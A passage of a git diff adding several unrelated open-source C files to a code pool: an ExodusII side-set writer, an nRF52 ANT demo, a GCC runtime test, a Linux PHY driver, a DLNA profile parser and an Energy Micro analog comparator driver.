+ *      exoid            - The NetCDF ID of an already open NemesisI file.
+ *      global_ids      - Pointer to a vector of global side-set IDs.
+ *      side_cnts       - Pointer to a vector of global side counts in
+ *                        each global side set.
+ *      df_cnts         - Pointer to a vector of global distribution
+ *                        factors in each global side set.
+ */
+/*****************************************************************************/
+/*****************************************************************************/
+/*****************************************************************************/
+#include <stdio.h>
+
+#include <netcdf.h>
+
+#include <exodusII.h>
+#include <exodusII_int.h>
+
+int ex_put_ss_param_global(int exoid,
+                           void_int *global_ids,
+                           void_int *side_cnts,
+                           void_int *df_cnts
+                           )
+{
+  const char   *func_name="ex_put_ss_param_global";
+  int     varid;
+
+  int     status;
+  char    errmsg[MAX_ERR_LENGTH];
+/*-----------------------------Execution begins-----------------------------*/
+
+  exerrval = 0; /* clear error code */
+
+  /* Get the variable ID for the vector of global side set IDs */
+  if ((status = nc_inq_varid(exoid, VAR_SS_IDS_GLOBAL, &varid)) != NC_NOERR) {
+    exerrval = status;
+    sprintf(errmsg,
+            "Error: failed to find variable ID for \"%s\" in file ID %d",
+            VAR_SS_IDS_GLOBAL, exoid);
+    ex_err(func_name, errmsg, exerrval);
+
+    return (EX_FATAL);
+  }
+
+  /* Output the vector of global side set IDs */
+  if (ex_int64_status(exoid) & EX_IDS_INT64_API) {
+    status = nc_put_var_longlong(exoid, varid, global_ids);
+  } else {
+    status = nc_put_var_int(exoid, varid, global_ids);
+  }
+  if (status != NC_NOERR) {
+    exerrval = status;
+    sprintf(errmsg,
+            "Error: failed to output variable \"%s\" to file ID %d",
+            VAR_SS_IDS_GLOBAL, exoid);
+    ex_err(func_name, errmsg, exerrval);
+
+    return (EX_FATAL);
+  }
+
+  /* Get the variable ID for the vector of global side-set side counts */
+  if ((status = nc_inq_varid(exoid, VAR_SS_SIDE_CNT_GLOBAL, &varid)) != NC_NOERR) {
+    exerrval = status;
+    sprintf(errmsg,
+            "Error: failed to find variable ID for \"%s\" in file ID %d",
+            VAR_SS_SIDE_CNT_GLOBAL, exoid);
+    ex_err(func_name, errmsg, exerrval);
+
+    return (EX_FATAL);
+  }
+
+  /* Output the vector of global side counts in each global side set */
+  if (ex_int64_status(exoid) & EX_BULK_INT64_API) {
+    status = nc_put_var_longlong(exoid, varid, side_cnts);
+  } else {
+    status = nc_put_var_int(exoid, varid, side_cnts);
+  }
+  if (status != NC_NOERR) {
+    exerrval = status;
+    sprintf(errmsg,
+            "Error: failed to put variable \"%s\" in file ID %d",
+            VAR_SS_SIDE_CNT_GLOBAL, exoid);
+    ex_err(func_name, errmsg, exerrval);
+
+    return (EX_FATAL);
+  }
+
+  /* Get the variable ID for the number of dist. factors in each side set */
+  if ((status = nc_inq_varid(exoid, VAR_SS_DF_CNT_GLOBAL, &varid)) != NC_NOERR) {
+    exerrval = status;
+    sprintf(errmsg,
+            "Error: failed to find variable ID for \"%s\" in file ID %d",
+            VAR_SS_DF_CNT_GLOBAL, exoid);
+    ex_err(func_name, errmsg, exerrval);
+
+    return (EX_FATAL);
+  }
+
+  /* Output the vector of dist. factor counts */
+  if (ex_int64_status(exoid) & EX_BULK_INT64_API) {
+    status = nc_put_var_longlong(exoid, varid, df_cnts);
+  } else {
+    status = nc_put_var_int(exoid, varid, df_cnts);
+  }
+  if (status != NC_NOERR) {
+    exerrval = status;
+    sprintf(errmsg,
+            "Error: failed to output variable \"%s\" in file ID %d",
+            VAR_SS_DF_CNT_GLOBAL, exoid);
+    ex_err(func_name, errmsg, exerrval);
+
+    return (EX_FATAL);
+  }
+
+  return (EX_NOERR);
+}
diff --git a/pool/shard001/C/0023997_main.c b/pool/shard001/C/0023997_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..bb47e20653044db7fd363573ba844b0f10bcab63
--- /dev/null
+++ b/pool/shard001/C/0023997_main.c
@@ -0,0 +1,180 @@
+/**
+ * This software is subject to the ANT+ Shared Source License
+ * www.thisisant.com/swlicenses
+ * Copyright (c) Dynastream Innovations, Inc. 2015
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or
+ * without modification, are permitted provided that the following
+ * conditions are met:
+ * 1) Redistributions of source code must retain the above
+ *    copyright notice, this list of conditions and the following
+ *    disclaimer.
+ * 
+ * 2) Redistributions in binary form must reproduce the above
+ *    copyright notice, this list of conditions and the following
+ *    disclaimer in the documentation and/or other materials
+ *    provided with the distribution.
+ * 
+ * 3) Neither the name of Dynastream nor the names of its
+ *    contributors may be used to endorse or promote products
+ *    derived from this software without specific prior
+ *    written permission.
+ * 
+ * The following actions are prohibited:
+ * 1) Redistribution of source code containing the ANT+ Network
+ *    Key. The ANT+ Network Key is available to ANT+ Adopters.
+ *    Please refer to http://thisisant.com to become an ANT+
+ *    Adopter and access the key.
+ * 
+ * 2) Reverse engineering, decompilation, and/or disassembly of
+ *    software provided in binary form under this license.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
+ * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
+ * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE HEREBY
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES(INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; DAMAGE TO ANY DEVICE, LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+ * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+ * OF THE POSSIBILITY OF SUCH DAMAGE. SOME STATES DO NOT ALLOW
+ * THE EXCLUSION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THE
+ * ABOVE LIMITATIONS MAY NOT APPLY TO YOU.
+ * 
+ */
+/**@file
+ * @brief The main file for the ANT Scan and Forward demo.
+ *
+ * @defgroup ant_scan_and_forward_example ANT Scan and Forward Demo
+ * @{
+ * @ingroup nrf_ant_scan_and_forward
+ *
+ * Before compiling this example for NRF52, complete the following steps:
+ * - Download the S212 SoftDevice from <a href="https://www.thisisant.com/developer/components/nrf52832" target="_blank">thisisant.com</a>.
+ * - Extract the downloaded zip file and copy the S212 SoftDevice headers to <tt>\<InstallFolder\>/components/softdevice/s212/headers</tt>.
+ * If you are using Keil packs, copy the files into a @c headers folder in your example folder.
+ * - Make sure that @ref ANT_LICENSE_KEY in @c nrf_sdm.h is uncommented.
+ *
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include "nrf.h"
+#include "bsp.h"
+#include "boards.h"
+#include "hardfault.h"
+#include "nrf_gpio.h"
+#include "app_error.h"
+#include "app_timer.h"
+#include "commands.h"
+#include "scan_and_forward.h"
+#include "ant_parameters.h"
+#include "softdevice_handler.h"
+#include "ant_stack_config.h"
+
+/**@brief Function for dispatching a ANT stack event to all modules with a ANT stack event handler.
+ *
+ * @details This function is called from the ANT Stack event interrupt handler after a ANT stack
+ *          event has been received.
+ *
+ * @param[in] p_ant_evt  ANT stack event.
+ */
+void ant_evt_dispatch(ant_evt_t * p_ant_evt)
+{
+    switch (p_ant_evt->channel)
+    {
+        case SF_ANT_BS_CHANNEL_NUMBER:
+            sf_background_scanner_process(p_ant_evt);
+            break;
+
+        case SF_ANT_MS_CHANNEL_NUMBER:
+            sf_master_beacon_process(p_ant_evt);
+            break;
+
+        default:
+            break;
+    }
+}
+
+
+/**@brief Function for the Timer and BSP initialization.
+ */
+static void utils_setup(void)
+{
+    uint32_t err_code;
+
+    err_code = app_timer_init();
+    APP_ERROR_CHECK(err_code);
+
+    err_code = bsp_init(BSP_INIT_LED | BSP_INIT_BUTTONS,
+                        sf_bsp_evt_handler);
+    APP_ERROR_CHECK(err_code);
+}
+
+
+/**@brief Function for ANT stack initialization.
+ *
+ * @details Initializes the SoftDevice and the ANT event interrupt.
+ */
+static void softdevice_setup(void)
+{
+    uint32_t err_code;
+
+    nrf_clock_lf_cfg_t clock_lf_cfg = NRF_CLOCK_LFCLKSRC;
+
+    err_code = softdevice_ant_evt_handler_set(ant_evt_dispatch);
+    APP_ERROR_CHECK(err_code);
+
+    err_code = softdevice_handler_init(&clock_lf_cfg, NULL, 0, NULL);
+    APP_ERROR_CHECK(err_code);
+
+    err_code = ant_stack_static_config();
+    APP_ERROR_CHECK(err_code);
+}
+
+
+/**@brief Initializes the battery board switches as inputs.
+ */
+void switch_init(void)
+{
+#if defined(BSP_SWITCH_0) && defined(BSP_SWITCH_1) && defined(BSP_SWITCH_2) && \
+    defined(BSP_SWITCH_3) && defined(BSP_SWITCH_4) // Only initialize switches on boards which have switches defined
+    nrf_gpio_cfg_input(BSP_SWITCH_0, SWITCH_PULL);
+    nrf_gpio_cfg_input(BSP_SWITCH_1, SWITCH_PULL);
+    nrf_gpio_cfg_input(BSP_SWITCH_2, SWITCH_PULL);
+    nrf_gpio_cfg_input(BSP_SWITCH_3, SWITCH_PULL);
+    nrf_gpio_cfg_input(BSP_SWITCH_4, SWITCH_PULL);
+#endif
+}
+
+
+/** @brief The main function
+ */
+int main(void)
+{
+    uint32_t err_code;
+
+    switch_init();
+    utils_setup();
+    softdevice_setup();
+
+    sf_init();
+
+    // Enter main loop
+    for (;;)
+    {
+        err_code = sd_app_evt_wait();
+        APP_ERROR_CHECK(err_code);
+    }
+}
+
+
+/**
+ *@}
+ **/
diff --git a/pool/shard001/C/0024006_951003-1.c b/pool/shard001/C/0024006_951003-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..86f004e10673917bcdac6a389774c32611b80ad5
--- /dev/null
+++ b/pool/shard001/C/0024006_951003-1.c
@@ -0,0 +1,22 @@
+/* { dg-do run } */
+int f (i) { return 12; }
+int g () { return 0; }
+
+main ()
+{
+  int i, s;
+
+  for (i = 0; i < 32; i++)
+    {
+      s = f (i);
+
+      if (i == g ())
+	s = 42;
+      if (i == 0 || s == 12)
+	;
+      else
+	abort ();
+    }
+
+  exit (0);
+}
diff --git a/pool/shard001/C/0024014_qsemi.c b/pool/shard001/C/0024014_qsemi.c
new file mode 100644
index 0000000000000000000000000000000000000000..d470db89e8dde1d32973a07dea84dd6dbbe05941
--- /dev/null
+++ b/pool/shard001/C/0024014_qsemi.c
@@ -0,0 +1,134 @@
+/*
+ * drivers/net/phy/qsemi.c
+ *
+ * Driver for Quality Semiconductor PHYs
+ *
+ * Author: Andy Fleming
+ *
+ * Copyright (c) 2004 Freescale Semiconductor, Inc.
+ *
+ * This program is free software; you can redistribute  it and/or modify it
+ * under  the terms of  the GNU General  Public License as published by the
+ * Free Software Foundation;  either version 2 of the  License, or (at your
+ * option) any later version.
+ *
+ */
+#include <linux/kernel.h>
+#include <linux/string.h>
+#include <linux/errno.h>
+#include <linux/unistd.h>
+#include <linux/interrupt.h>
+#include <linux/init.h>
+#include <linux/delay.h>
+#include <linux/netdevice.h>
+#include <linux/etherdevice.h>
+#include <linux/skbuff.h>
+#include <linux/spinlock.h>
+#include <linux/mm.h>
+#include <linux/module.h>
+#include <linux/mii.h>
+#include <linux/ethtool.h>
+#include <linux/phy.h>
+
+#include <asm/io.h>
+#include <asm/irq.h>
+#include <asm/uaccess.h>
+
+/* ------------------------------------------------------------------------- */
+/* The Quality Semiconductor QS6612 is used on the RPX CLLF                  */
+
+/* register definitions */
+
+#define MII_QS6612_MCR		17  /* Mode Control Register      */
+#define MII_QS6612_FTR		27  /* Factory Test Register      */
+#define MII_QS6612_MCO		28  /* Misc. Control Register     */
+#define MII_QS6612_ISR		29  /* Interrupt Source Register  */
+#define MII_QS6612_IMR		30  /* Interrupt Mask Register    */
+#define MII_QS6612_IMR_INIT	0x003a
+#define MII_QS6612_PCR		31  /* 100BaseTx PHY Control Reg. */
+
+#define QS6612_PCR_AN_COMPLETE	0x1000
+#define QS6612_PCR_RLBEN	0x0200
+#define QS6612_PCR_DCREN	0x0100
+#define QS6612_PCR_4B5BEN	0x0040
+#define QS6612_PCR_TX_ISOLATE	0x0020
+#define QS6612_PCR_MLT3_DIS	0x0002
+#define QS6612_PCR_SCRM_DESCRM	0x0001
+
+MODULE_DESCRIPTION("Quality Semiconductor PHY driver");
+MODULE_AUTHOR("Andy Fleming");
+MODULE_LICENSE("GPL");
+
+/* Returns 0, unless there's a write error */
+static int qs6612_config_init(struct phy_device *phydev)
+{
+	/* The PHY powers up isolated on the RPX,
+	 * so send a command to allow operation.
+	 * XXX - My docs indicate this should be 0x0940
+	 * ...or something.  The current value sets three
+	 * reserved bits, bit 11, which specifies it should be
+	 * set to one, bit 10, which specifies it should be set
+	 * to 0, and bit 7, which doesn't specify.  However, my
+	 * docs are preliminary, and I will leave it like this
+	 * until someone more knowledgable corrects me or it.
+	 * -- Andy Fleming
+	 */
+	return phy_write(phydev, MII_QS6612_PCR, 0x0dc0);
+}
+
+static int qs6612_ack_interrupt(struct phy_device *phydev)
+{
+	int err;
+
+	err = phy_read(phydev, MII_QS6612_ISR);
+
+	if (err < 0)
+		return err;
+
+	err = phy_read(phydev, MII_BMSR);
+
+	if (err < 0)
+		return err;
+
+	err = phy_read(phydev, MII_EXPANSION);
+
+	if (err < 0)
+		return err;
+
+	return 0;
+}
+
+static int qs6612_config_intr(struct phy_device *phydev)
+{
+	int err;
+	if (phydev->interrupts == PHY_INTERRUPT_ENABLED)
+		err = phy_write(phydev, MII_QS6612_IMR,
+				MII_QS6612_IMR_INIT);
+	else
+		err = phy_write(phydev, MII_QS6612_IMR, 0);
+
+	return err;
+
+}
+
+static struct phy_driver qs6612_driver[] = { {
+	.phy_id		= 0x00181440,
+	.name		= "QS6612",
+	.phy_id_mask	= 0xfffffff0,
+	.features	= PHY_BASIC_FEATURES,
+	.flags		= PHY_HAS_INTERRUPT,
+	.config_init	= qs6612_config_init,
+	.config_aneg	= genphy_config_aneg,
+	.read_status	= genphy_read_status,
+	.ack_interrupt	= qs6612_ack_interrupt,
+	.config_intr	= qs6612_config_intr,
+} };
+
+module_phy_driver(qs6612_driver);
+
+static struct mdio_device_id __maybe_unused qs6612_tbl[] = {
+	{ 0x00181440, 0xfffffff0 },
+	{ }
+};
+
+MODULE_DEVICE_TABLE(mdio, qs6612_tbl);
diff --git a/pool/shard001/C/0024015_dlna-profile-parser.c b/pool/shard001/C/0024015_dlna-profile-parser.c
new file mode 100644
index 0000000000000000000000000000000000000000..20753b429aa2fd0f7c8a4c650235c010beabb6b1
--- /dev/null
+++ b/pool/shard001/C/0024015_dlna-profile-parser.c
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation.
+ *
+ * Authors: Arun Raghavan <arun.raghavan@collabora.co.uk>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ * Boston, MA 02110-1301, USA.
+ */
+
+#include <gst/gst.h>
+#include <libgupnp-dlna/profile-loading.h>
+#include <libgupnp-dlna/gupnp-dlna-profile.h>
+#include <gst/pbutils/pbutils.h>
+#include <libxml/xmlmemory.h>
+#include <stdlib.h>
+
+static void usage (void)
+{
+        g_print ("Usage: dlna-profile-parser file1 file2 ... dir1 dir2 ...\n");
+}
+
+static void print_caps (const GstCaps *caps)
+{
+        guint i;
+
+        for (i = 0; i < gst_caps_get_size (caps); i++) {
+                GstStructure *structure = gst_caps_get_structure (caps, i);
+                gchar *tmp = gst_structure_to_string (structure);
+
+                g_print ("%s`- %s\n", i ? "    " : "", tmp);
+
+                g_free (tmp);
+        }
+}
+
+static void print_profile (GUPnPDLNAProfile *profile,
+                           gpointer unused G_GNUC_UNUSED)
+{
+        GstEncodingProfile *enc_profile;
+        const GList *tmp;
+        gchar *caps_str;
+
+        enc_profile = gupnp_dlna_profile_get_encoding_profile (profile);
+        tmp = gst_encoding_container_profile_get_profiles (GST_ENCODING_CONTAINER_PROFILE (enc_profile));
+        caps_str = gst_caps_to_string ((GstCaps *)gst_encoding_profile_get_format (enc_profile));
+
+        g_print ("Loaded DLNA Profile: %s, %s - format %s\n",
+                 gupnp_dlna_profile_get_name (profile),
+                 gupnp_dlna_profile_get_mime (profile),
+                 caps_str);
+
+        while (tmp) {
+                print_caps (gst_encoding_profile_get_format
+                                        (GST_ENCODING_PROFILE(tmp->data)));
+                tmp = tmp->next;
+        }
+
+        g_print ("\n");
+        g_free (caps_str);
+        gst_encoding_profile_unref (enc_profile);
+}
+
+static void
+free_restrictions_struct (gpointer data, gpointer user_data G_GNUC_UNUSED)
+{
+        GUPnPDLNARestrictions *restr = (GUPnPDLNARestrictions *)data;
+        if (restr) {
+                if (restr->caps)
+                        gst_caps_unref (restr->caps);
+
+                g_free (restr);
+        }
+}
+
+int
+main (int argc, char **argv)
+{
+        GList *profiles = NULL;
+        GUPnPDLNALoadState *data;
+        gboolean relaxed_mode = FALSE;
+        gboolean extended_mode = FALSE;
+        GError *err = NULL;
+        gint i;
+
+        GOptionEntry options[] = {
+                {"relaxed mode", 'r', 0, G_OPTION_ARG_NONE, &relaxed_mode,
+                 "Enable Relaxed mode", NULL},
+                {"extended mode", 'e', 0, G_OPTION_ARG_NONE, &extended_mode,
+                 "Enable extended mode", NULL},
+                {NULL}
+        };
+
+        GOptionContext *ctx;
+
+        ctx = g_option_context_new (" - test to parse dlna profiles");
+        g_option_context_add_main_entries (ctx, options, NULL);
+        g_option_context_add_group (ctx, gst_init_get_option_group ());
+
+        if (!g_option_context_parse (ctx, &argc, &argv, &err)) {
+
+                g_print ("Error initializing: %s\n", err->message);
+                exit (1);
+        }
+
+        g_option_context_free (ctx);
+
+        gst_init (&argc, &argv);
+
+        if (argc < 2) {
+                usage ();
+                return EXIT_FAILURE;
+        }
+
+        data = g_new (GUPnPDLNALoadState, 1);
+
+        data->restrictions = g_hash_table_new_full (g_str_hash,
+                                                    g_str_equal,
+                                                    (GDestroyNotify) xmlFree,
+                                                    (GDestroyNotify)
+                                                    free_restrictions_struct);
+        data->profile_ids = g_hash_table_new_full (g_str_hash,
+                                                   g_str_equal,
+                                                   (GDestroyNotify) xmlFree,
+                                                   (GDestroyNotify)
+                                                   g_object_unref);
+        data->files_hash = g_hash_table_new_full (g_str_hash,
+                                                  g_str_equal,
+                                                  g_free,
+                                                  NULL);
+
+        data->relaxed_mode = relaxed_mode;
+        data->extended_mode = extended_mode;
+
+        for (i = 1; i < argc; i++) {
+                GList *tmp;
+
+                if (g_file_test (argv[i], G_FILE_TEST_IS_DIR))
+                        tmp = gupnp_dlna_load_profiles_from_dir (argv[i],
+                                                                 data);
+                else
+                        tmp = gupnp_dlna_load_profiles_from_file (argv[i],
+                                                                  data);
+
+                profiles = g_list_concat (profiles, tmp);
+        }
+
+        g_list_foreach (profiles, (GFunc)print_profile, NULL);
+        g_list_foreach (profiles, (GFunc)g_object_unref, NULL);
+
+        g_hash_table_unref (data->restrictions);
+        g_hash_table_unref (data->profile_ids);
+        g_hash_table_unref (data->files_hash);
+        g_free (data);
+        data = NULL;
+        return EXIT_SUCCESS;
+}
diff --git a/pool/shard001/C/0024022_em_acmp.c b/pool/shard001/C/0024022_em_acmp.c
new file mode 100644
index 0000000000000000000000000000000000000000..2b638e8e36c6f76ace9f10e0f996a68aa35514e9
--- /dev/null
+++ b/pool/shard001/C/0024022_em_acmp.c
@@ -0,0 +1,321 @@
+/***************************************************************************//**
+ * @file
+ * @brief Analog Comparator (ACMP) Peripheral API
+ * @author Energy Micro AS
+ * @version 3.20.2
+ *******************************************************************************
+ * @section License
+ * <b>(C) Copyright 2012 Energy Micro AS, http://www.energymicro.com</b>
+ *******************************************************************************
+ *
+ * Permission is granted to anyone to use this software for any purpose,
+ * including commercial applications, and to alter it and redistribute it
+ * freely, subject to the following restrictions:
+ *
+ * 1. The origin of this software must not be misrepresented; you must not
+ *    claim that you wrote the original software.
+ * 2. Altered source versions must be plainly marked as such, and must not be
+ *    misrepresented as being the original software.
+ * 3. This notice may not be removed or altered from any source distribution.
+ *
+ * DISCLAIMER OF WARRANTY/LIMITATION OF REMEDIES: Energy Micro AS has no
+ * obligation to support this Software. Energy Micro AS is providing the
+ * Software "AS IS", with no express or implied warranties of any kind,
+ * including, but not limited to, any implied warranties of merchantability
+ * or fitness for any particular purpose or warranties against infringement
+ * of any proprietary rights of a third party.
+ *
+ * Energy Micro AS will not be liable for any consequential, incidental, or
+ * special damages, or any other relief, or for any claim by any third party,
+ * arising from your use of this Software.
+ *
+ ******************************************************************************/
+#include "em_acmp.h"
+#if defined(ACMP_COUNT) && (ACMP_COUNT > 0)
+
+#include <stdbool.h>
+#include "em_bitband.h"
+#include "em_assert.h"
+
+/***************************************************************************//**
+ * @addtogroup EM_Library
+ * @{
+ ******************************************************************************/
+
+/***************************************************************************//**
+ * @addtogroup ACMP
+ * @brief Analog comparator (ACMP) Peripheral API
+ * @{
+ ******************************************************************************/
+
+/*******************************************************************************
+ *******************************   DEFINES   ***********************************
+ ******************************************************************************/
+
+/** @cond DO_NOT_INCLUDE_WITH_DOXYGEN */
+
+
+/** Validation of ACMP register block pointer reference
+ *  for assert statements. */
+#if (ACMP_COUNT == 1)
+#define ACMP_REF_VALID(ref)    ((ref) == ACMP0)
+#elif (ACMP_COUNT == 2)
+#define ACMP_REF_VALID(ref)    (((ref) == ACMP0) || ((ref) == ACMP1))
+#else
+#error Undefined number of analog comparators (ACMP).
+#endif
+
+/** @endcond */
+
+/*******************************************************************************
+ **************************   GLOBAL FUNCTIONS   *******************************
+ ******************************************************************************/
+
+/***************************************************************************//**
+ * @brief
+ *   Sets up the ACMP for use in capacative sense applications.
+ *
+ * @details
+ *   This function sets up the ACMP for use in capacacitve sense applications.
+ *   To use the capacative sense functionality in the ACMP you need to use
+ *   the PRS output of the ACMP module to count the number of oscillations
+ *   in the capacative sense circuit (possibly using a TIMER).
+ *
+ * @note
+ *   A basic example of capacative sensing can be found in the STK BSP
+ *   (capsense demo).
+ *
+ * @param[in] acmp
+ *   Pointer to ACMP peripheral register block.
+ *
+ * @param[in] init
+ *   Pointer to initialization structure used to configure ACMP for capacative
+ *   sensing operation.
+ ******************************************************************************/
+void ACMP_CapsenseInit(ACMP_TypeDef *acmp, const ACMP_CapsenseInit_TypeDef *init)
+{
+  /* Make sure the module exists on the selected chip */
+  EFM_ASSERT(ACMP_REF_VALID(acmp));
+
+  /* Make sure that vddLevel is within bounds */
+  EFM_ASSERT(init->vddLevel < 64);
+
+  /* Make sure biasprog is within bounds */
+  EFM_ASSERT(init->biasProg < 16);
+
+  /* Set control register. No need to set interrupt modes */
+  acmp->CTRL = (init->fullBias << _ACMP_CTRL_FULLBIAS_SHIFT)
+               | (init->halfBias << _ACMP_CTRL_HALFBIAS_SHIFT)
+               | (init->biasProg << _ACMP_CTRL_BIASPROG_SHIFT)
+               | (init->warmTime << _ACMP_CTRL_WARMTIME_SHIFT)
+               | (init->hysteresisLevel << _ACMP_CTRL_HYSTSEL_SHIFT);
+
+  /* Select capacative sensing mode by selecting a resistor and enabling it */
+  acmp->INPUTSEL = (init->resistor << _ACMP_INPUTSEL_CSRESSEL_SHIFT)
+                   | ACMP_INPUTSEL_CSRESEN
+                   | (init->lowPowerReferenceEnabled << _ACMP_INPUTSEL_LPREF_SHIFT)
+                   | (init->vddLevel << _ACMP_INPUTSEL_VDDLEVEL_SHIFT)
+                   | ACMP_INPUTSEL_NEGSEL_CAPSENSE;
+
+  /* Enable ACMP if requested.
+   * Note: BITBAND_Peripheral() function is used for setting/clearing single
+   * bit peripheral register bitfields. */
+  BITBAND_Peripheral(&(acmp->CTRL),
+                     (uint32_t)_ACMP_CTRL_EN_SHIFT,
+                     (uint32_t)init->enable);
+}
+
+/***************************************************************************//**
+ * @brief
+ *   Sets the ACMP channel used for capacative sensing.
+ *
+ * @note
+ *   A basic example of capacative sensing can be found in the STK BSP
+ *   (capsense demo).
+ *
+ * @param[in] acmp
+ *   Pointer to ACMP peripheral register block.
+ *
+ * @param[in] channel
+ *   The ACMP channel to use for capacative sensing (Possel).
+ ******************************************************************************/
+void ACMP_CapsenseChannelSet(ACMP_TypeDef *acmp, ACMP_Channel_TypeDef channel)
+{
+  /* Make sure that only external channels are used */
+  EFM_ASSERT(channel <= _ACMP_INPUTSEL_POSSEL_CH7);
+
+  /* Set channel as positive channel in ACMP */
+  SET_BIT_FIELD(acmp->INPUTSEL, _ACMP_INPUTSEL_POSSEL_MASK, channel,
+                _ACMP_INPUTSEL_POSSEL_SHIFT);
+}
+
+/***************************************************************************//**
+ * @brief
+ *   Disables the ACMP.
+ *
+ * @param[in] acmp
+ *   Pointer to ACMP peripheral register block.
+ ******************************************************************************/
+void ACMP_Disable(ACMP_TypeDef *acmp)
+{
+  acmp->CTRL &= ~ACMP_CTRL_EN;
+}
+
+/***************************************************************************//**
+ * @brief
+ *   Enables the ACMP.
+ *
+ * @param[in] acmp
+ *   Pointer to ACMP peripheral register block.
+ ******************************************************************************/
+void ACMP_Enable(ACMP_TypeDef *acmp)
+{
+  acmp->CTRL |= ACMP_CTRL_EN;
+}
+
+/***************************************************************************//**
+ * @brief
+ *   Reset ACMP to same state as after a HW reset.
+ *
+ * @note
+ *   The ROUTE register is NOT reset by this function, in order to allow for
+ *   centralized setup of this feature.
+ *
+ * @param[in] acmp
+ *   Pointer to the ACMP peripheral register block.
+ ******************************************************************************/
+void ACMP_Reset(ACMP_TypeDef *acmp)
+{
+  /* Make sure the module exists on the selected chip */
+  EFM_ASSERT(ACMP_REF_VALID(acmp));
+
+  acmp->CTRL     = _ACMP_CTRL_RESETVALUE;
+  acmp->INPUTSEL = _ACMP_INPUTSEL_RESETVALUE;
+  acmp->IEN      = _ACMP_IEN_RESETVALUE;
+  acmp->IFC      = _ACMP_IF_MASK;
+}
+
+/***************************************************************************//**
+ * @brief
+ *   Sets up GPIO output from the ACMP.
+ *
+ * @note
+ *    GPIO must be enabled in the CMU before this function call, i.e.
+ * @verbatim CMU_ClockEnable(cmuClock_GPIO, true); @endverbatim
+ *
+ * @param[in] acmp
+ *   Pointer to the ACMP peripheral register block.
+ *
+ * @param location
+ *   The pin location to use. See the datasheet for location to pin mappings.
+ *
+ * @param enable
+ *   Enable or disable pin output.
+ *
+ * @param invert
+ *   Invert output.
+ ******************************************************************************/
+void ACMP_GPIOSetup(ACMP_TypeDef *acmp, uint32_t location, bool enable, bool invert)
+{
+  /* Sanity checking of location */
+#if defined( _ACMP_ROUTE_LOCATION_LOC3 )
+  EFM_ASSERT(location <= _ACMP_ROUTE_LOCATION_LOC3);
+
+#elif defined( _ACMP_ROUTE_LOCATION_LOC2 )
+  EFM_ASSERT(location <= _ACMP_ROUTE_LOCATION_LOC2);
+
+#elif defined( _ACMP_ROUTE_LOCATION_LOC1 )
+  EFM_ASSERT(location <= _ACMP_ROUTE_LOCATION_LOC1);
+
+#else
+#error Illegal pin location (ACMP).
+#endif
+
+
+  /* Set GPIO inversion */
+  SET_BIT_FIELD(acmp->CTRL, _ACMP_CTRL_GPIOINV_MASK, invert,
+                _ACMP_CTRL_GPIOINV_SHIFT);
+
+  acmp->ROUTE = (location << _ACMP_ROUTE_LOCATION_SHIFT)
+                | (enable << _ACMP_ROUTE_ACMPPEN_SHIFT);
+}
+
+/***************************************************************************//**
+ * @brief
+ *   Sets which channels should be used in ACMP comparisons.
+ *
+ * @param[in] acmp
+ *   Pointer to the ACMP peripheral register block.
+ *
+ * @param negSel
+ *   Channel to use on the negative input to the ACMP.
+ *
+ * @param posSel
+ *   Channel to use on the positive input to the ACMP.
+ ******************************************************************************/
+void ACMP_ChannelSet(ACMP_TypeDef *acmp, ACMP_Channel_TypeDef negSel,
+                     ACMP_Channel_TypeDef posSel)
+{
+  /* Sanity checking of ACMP inputs */
+  EFM_ASSERT(posSel <= _ACMP_INPUTSEL_POSSEL_CH7);
+
+#if defined(_ACMP_INPUTSEL_NEGSEL_CAPSENSE)
+  EFM_ASSERT(negSel <= _ACMP_INPUTSEL_NEGSEL_CAPSENSE);
+
+#elif defined(_ACMP_INPUTSEL_NEGSEL_DAC0CH1)
+  EFM_ASSERT(negSel <= _ACMP_INPUTSEL_NEGSEL_DAC0CH1);
+
+#else
+#error Illegal negative input selection (ACMP).
+#endif
+
+  acmp->INPUTSEL = (acmp->INPUTSEL & ~(_ACMP_INPUTSEL_POSSEL_MASK |
+                                       _ACMP_INPUTSEL_NEGSEL_MASK))
+                   | (negSel << _ACMP_INPUTSEL_NEGSEL_SHIFT)
+                   | (posSel << _ACMP_INPUTSEL_POSSEL_SHIFT);
+}
+
+/***************************************************************************//**
+ * @brief
+ *
+ *
+ * @param[in] acmp
+ *   Pointer to the ACMP peripheral register block.
+ *
+ * @param[in] init
+ *   Pointer to initialization structure used to configure ACMP for capacative
+ *   sensing operation.
+ ******************************************************************************/
+void ACMP_Init(ACMP_TypeDef *acmp, const ACMP_Init_TypeDef *init)
+{
+  /* Make sure the module exists on the selected chip */
+  EFM_ASSERT(ACMP_REF_VALID(acmp));
